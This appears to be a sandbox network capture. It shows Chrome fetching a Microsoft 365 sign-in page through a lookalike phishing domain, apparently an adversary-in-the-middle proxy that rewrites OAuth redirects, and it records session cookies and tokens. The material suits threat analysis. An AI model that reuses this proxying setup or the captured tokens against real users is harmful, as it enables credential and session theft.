on(t){var i;n.enableExtensions&&(i=t.createViewModel,t.createViewModel=function(t,n){var r=i(t,n);return function(t,n){var r=n.componentId;if(r&&o[r]){var i=o[r],a=i.parentViewModel,c=i.alias,l=e.unwrap(i.events)\|\|{};c&&("string"==typeof c&&(c=a[c]),e.isW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:23 UTC	2969	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-02-23 10:49:24 UTC	1321	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin Link: <https://aadcdn.msauth.net>; rel=dns-prefetch Link: <https://aadcdn.msftauth.net>; rel=dns-prefetch Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} Set-Cookie: buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; Path=/; Expires=Sun, 24 Mar 2024 10:49:24 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; Path=/; Domain=o365.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None
2024-02-23 10:49:24 UTC	804	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 65 73 63 74 78 2d 4f 75 44 4d 52 45 35 49 66 4a 6b 3d 41 51 41 42 43 51 45 41 41 41 44 6e 66 6f 6c 68 4a 70 53 6e 52 59 42 31 53 56 6a 2d 48 67 64 38 62 36 6e 33 41 2d 72 77 4c 66 59 33 66 6b 75 6a 45 43 43 62 53 55 34 45 44 37 6e 68 4a 62 51 4a 54 69 55 54 63 45 4c 51 43 6a 58 51 62 70 61 4f 65 6e 76 4e 64 61 52 38 73 58 36 39 4a 6a 43 65 34 61 47 7a 5f 79 35 47 62 67 55 59 53 63 38 46 70 54 6c 49 42 78 4d 5f 62 79 2d 41 71 4c 77 45 53 46 4b 58 6b 38 38 4c 4b 48 42 46 71 6b 4e 34 39 45 34 46 67 70 6e 67 5f 35 45 66 32 30 4f 45 39 35 63 32 54 5f 74 6b 7a 41 69 65 4a 5a 6b 56 33 57 48 49 6a 53 41 41 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6f 33 36 35 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e Data Ascii: Set-Cookie: esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; Path=/; Domain=o365.mojopowertsinctech.
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e Data Ascii: 4000... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 65 2e 73 72 66 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 72 65 61 63 74 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 25 32 66 76 32 25 32 66 4f 66 66 69 63 65 48 6f 6d 65 2e 41 6c 6c 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 72 65 61 63 74 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 25 32 66 6c 61 6e 64 69 6e 67 76 32 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 2b 69 64 5f 74 6f 6b 65 6e 5c 75 30 30 32 36 Data Ascii: e.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2\u0026response_type=code+id_token\u0026
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 6d 65 64 5f 62 79 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 6f 33 36 35 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 22 2c 22 73 68 6f 77 43 61 6e 74 41 63 63 65 73 73 41 63 63 6f 75 6e 74 4c 69 6e 6b 22 3a 74 72 75 65 2c 22 75 72 6c 47 69 74 48 75 62 46 65 64 22 3a 22 68 74 74 70 73 3a 2f 2f 79 77 6e 6a 62 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 2f 6f 61 75 74 68 32 30 5f 61 75 74 68 6f 72 69 7a 65 2e 73 72 66 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 72 65 61 63 74 2e 6d 6f 6a 6f Data Ascii: med_by=https%3a%2f%2fo365.mojopowertsinctech.com","showCantAccessAccountLink":true,"urlGitHubFed":"https://ywnjb.mojopowertsinctech.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2freact.mojo
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 57 69 74 68 47 69 74 48 75 62 4f 6e 6c 79 4f 6e 43 72 65 64 50 69 63 6b 65 72 22 3a 74 72 75 65 2c 22 66 45 6e 61 62 6c 65 53 68 6f 77 52 65 73 65 6e 64 43 6f 64 65 22 3a 74 72 75 65 2c 22 69 53 68 6f 77 52 65 73 65 6e 64 43 6f 64 65 44 65 6c 61 79 22 3a 39 30 30 30 30 2c 22 73 53 4d 53 43 74 72 79 50 68 6f 6e 65 44 61 74 61 22 3a 22 41 46 7e 41 66 67 68 61 6e 69 73 74 61 6e 7e 39 33 21 21 21 41 58 7e c3 85 6c 61 6e 64 20 49 73 6c 61 6e 64 73 7e 33 35 38 21 21 21 41 4c 7e 41 6c 62 61 6e 69 61 7e 33 35 35 21 21 21 44 5a 7e 41 6c 67 65 72 69 61 7e 32 31 33 21 21 21 41 53 7e 41 6d 65 72 69 63 61 6e 20 53 61 6d 6f 61 7e 31 21 21 21 41 44 7e 41 6e 64 6f 72 72 61 7e 33 37 36 21 21 21 41 4f 7e 41 6e 67 6f 6c 61 7e 32 34 34 21 21 21 41 49 7e 41 6e 67 75 69 6c 6c Data Ascii: WithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguill
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 70 74 7e 32 30 21 21 21 53 56 7e 45 6c 20 53 61 6c 76 61 64 6f 72 7e 35 30 33 21 21 21 47 51 7e 45 71 75 61 74 6f 72 69 61 6c 20 47 75 69 6e 65 61 7e 32 34 30 21 21 21 45 52 7e 45 72 69 74 72 65 61 7e 32 39 31 21 21 21 45 45 7e 45 73 74 6f 6e 69 61 7e 33 37 32 21 21 21 45 54 7e 45 74 68 69 6f 70 69 61 7e 32 35 31 21 21 21 46 4b 7e 46 61 6c 6b 6c 61 6e 64 20 49 73 6c 61 6e 64 73 7e 35 30 30 21 21 21 46 4f 7e 46 61 72 6f 65 20 49 73 6c 61 6e 64 73 7e 32 39 38 21 21 21 46 4a 7e 46 69 6a 69 7e 36 37 39 21 21 21 46 49 7e 46 69 6e 6c 61 6e 64 7e 33 35 38 21 21 21 46 52 7e 46 72 61 6e 63 65 7e 33 33 21 21 21 47 46 7e 46 72 65 6e 63 68 20 47 75 69 61 6e 61 7e 35 39 34 21 21 21 50 46 7e 46 72 65 6e 63 68 20 50 6f 6c 79 6e 65 73 69 61 7e 36 38 39 21 21 21 47 41 7e Data Ascii: pt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 74 65 6e 65 67 72 6f 7e 33 38 32 21 21 21 4d 53 7e 4d 6f 6e 74 73 65 72 72 61 74 7e 31 21 21 21 4d 41 7e 4d 6f 72 6f 63 63 6f 7e 32 31 32 21 21 21 4d 5a 7e 4d 6f 7a 61 6d 62 69 71 75 65 7e 32 35 38 21 21 21 4d 4d 7e 4d 79 61 6e 6d 61 72 7e 39 35 21 21 21 4e 41 7e 4e 61 6d 69 62 69 61 7e 32 36 34 21 21 21 4e 52 7e 4e 61 75 72 75 7e 36 37 34 21 21 21 4e 50 7e 4e 65 70 61 6c 7e 39 37 37 21 21 21 4e 4c 7e 4e 65 74 68 65 72 6c 61 6e 64 73 7e 33 31 21 21 21 4e 43 7e 4e 65 77 20 43 61 6c 65 64 6f 6e 69 61 7e 36 38 37 21 21 21 4e 5a 7e 4e 65 77 20 5a 65 61 6c 61 6e 64 7e 36 34 21 21 21 4e 49 7e 4e 69 63 61 72 61 67 75 61 7e 35 30 35 21 21 21 4e 45 7e 4e 69 67 65 72 7e 32 32 37 21 21 21 4e 47 7e 4e 69 67 65 72 69 61 7e 32 33 34 21 21 21 4e 55 7e 4e 69 75 65 7e 36 Data Ascii: tenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~6
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 61 7e 39 36 33 21 21 21 54 57 7e 54 61 69 77 61 6e 7e 38 38 36 21 21 21 54 4a 7e 54 61 6a 69 6b 69 73 74 61 6e 7e 39 39 32 21 21 21 54 5a 7e 54 61 6e 7a 61 6e 69 61 7e 32 35 35 21 21 21 54 48 7e 54 68 61 69 6c 61 6e 64 7e 36 36 21 21 21 54 4c 7e 54 69 6d 6f 72 2d 4c 65 73 74 65 7e 36 37 30 21 21 21 54 47 7e 54 6f 67 6f 7e 32 32 38 21 21 21 54 4b 7e 54 6f 6b 65 6c 61 75 7e 36 39 30 21 21 21 54 4f 7e 54 6f 6e 67 61 7e 36 37 36 21 21 21 54 54 7e 54 72 69 6e 69 64 61 64 20 61 6e 64 20 54 6f 62 61 67 6f 7e 31 21 21 21 54 41 7e 54 72 69 73 74 61 6e 20 64 61 20 43 75 6e 68 61 7e 32 39 30 21 21 21 54 4e 7e 54 75 6e 69 73 69 61 7e 32 31 36 21 21 21 54 52 7e 54 75 72 6b 65 79 7e 39 30 21 21 21 54 4d 7e 54 75 72 6b 6d 65 6e 69 73 74 61 6e 7e 39 39 33 21 21 21 54 43 Data Ascii: a~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 61 25 32 66 25 32 66 6f 33 36 35 2e 6d 6f 6a 6f 70 6f 77 65 72 74 73 69 6e 63 74 65 63 68 2e 63 6f 6d 25 32 66 63 6f 6d 6d 6f 6e 25 32 66 72 65 70 72 6f 63 65 73 73 25 33 66 63 74 78 25 33 64 72 51 51 49 41 52 41 41 68 5a 4b 37 6a 2d 4e 6b 46 4d 58 6a 5a 43 59 7a 45 77 45 62 37 53 49 65 42 64 4a 49 49 49 45 51 54 72 35 38 66 6d 61 6b 46 58 6a 79 6e 73 52 32 58 68 37 48 62 71 4c 45 6a 39 69 4f 37 53 2d 78 48 54 74 78 54 59 47 45 51 46 73 67 69 6d 32 51 71 48 61 6e 51 6f 41 41 55 64 45 68 44 55 4a 61 32 68 56 5f 77 52 59 49 74 74 70 75 4e 77 76 31 69 75 4c 63 63 34 36 75 62 6e 56 5f 68 53 4f 6d 42 45 75 67 42 4e 37 50 37 65 33 73 48 5a 4b 68 4b 5a 4b 6b 35 6a 67 42 4e 52 6f 6e 71 33 4f 41 73 34 52 42 34 78 57 39 53 75 78 58 6b 4b 47 31 57 58 43 7a 55 4a 77 Data Ascii: a%2f%2fo365.mojopowertsinctech.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZK7j-NkFMXjZCYzEwEb7SIeBdJIIIEQTr58fmakFXjynsR2Xh7HbqLEj9iO7S-xHTtxTYGEQFsgim2QqHanQoAAUdEhDUJa2hV_wRYIttpuNwv1iuLcc46ubnV_hSOmBEugBN7P7e3sHZKhKZKk5jgBNRonq3OAs4RB4xW9SuxXkKG1WXCzUJw
2024-02-23 10:49:24 UTC	1369	IN	Data Raw: 37 48 62 71 4c 45 6a 39 69 4f 37 53 2d 78 48 54 74 78 54 59 47 45 51 46 73 67 69 6d 32 51 71 48 61 6e 51 6f 41 41 55 64 45 68 44 55 4a 61 32 68 56 5f 77 52 59 49 74 74 70 75 4e 77 76 31 69 75 4c 63 63 34 36 75 62 6e 56 5f 68 53 4f 6d 42 45 75 67 42 4e 37 50 37 65 33 73 48 5a 4b 68 4b 5a 4b 6b 35 6a 67 42 4e 52 6f 6e 71 33 4f 41 73 34 52 42 34 78 57 39 53 75 78 58 6b 4b 47 31 57 58 43 7a 55 4a 77 55 33 5f 31 4b 65 4f 74 2d 37 5f 73 66 50 31 7a 58 5f 76 6e 31 38 52 56 32 61 6b 58 52 4b 6a 77 72 6c 35 4d 6b 4b 53 48 54 74 44 57 6a 70 43 47 76 37 4d 35 38 33 66 59 58 4d 66 77 4a 77 78 35 67 32 4e 33 73 6f 65 48 6a 30 75 67 71 47 39 49 45 53 35 4b 51 68 52 57 36 51 67 49 43 41 70 59 6f 4b 59 36 53 71 4b 31 4f 79 74 63 62 6b 53 67 50 4c 63 45 47 51 50 47 47 54 Data Ascii: 7HbqLEj9iO7S-xHTtxTYGEQFsgim2QqHanQoAAUdEhDUJa2hV_wRYIttpuNwv1iuLcc46ubnV_hSOmBEugBN7P7e3sHZKhKZKk5jgBNRonq3OAs4RB4xW9SuxXkKG1WXCzUJwU3_1KeOt-7_sfP1zX_vn18RV2akXRKjwrl5MkKSHTtDWjpCGv7M583fYXMfwJwx5g2N3soeHj0ugqG9IES5KQhRW6QgICApYoKY6SqK1OytcbkSgPLcEGQPGGT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:23 UTC	2067	OUT	GET /favicon.ico HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-02-23 10:49:24 UTC	765	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Feb 2024 10:49:24 GMT Transfer-Encoding: chunked Connection: close Cache-Control: private Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} X-Ms-Ests-Server: 2.1.17396.8 - FRC ProdSlices X-Ms-Request-Id: ea0fe451-f793-4315-af6c-46e19a191100 CF-Cache-Status: BYPASS Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 859ee6e4b89dc42c-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:23 UTC	1161	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA
2024-02-23 10:49:24 UTC	696	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 10:49:24 GMT Transfer-Encoding: chunked Connection: close cache-control: max-age=300, public access-control-allow-origin: * vary: accept-encoding location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/0f752fefe334/main.js Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QJz1cL9yepWxd9Oomw8pPl03qxSyMAJ78BMWDJ%2FXb4upwTGgAEAlKeAUlsUC%2BWT3DAE0Cy7tnE8xj4BnZCD9LeQL4D2Ne0n%2FSr%2FXEywnRWC1bxTi6PlPdouNxNnLKCBlliieQiRhCdhprvzhPUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee6e50a9e19c3-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
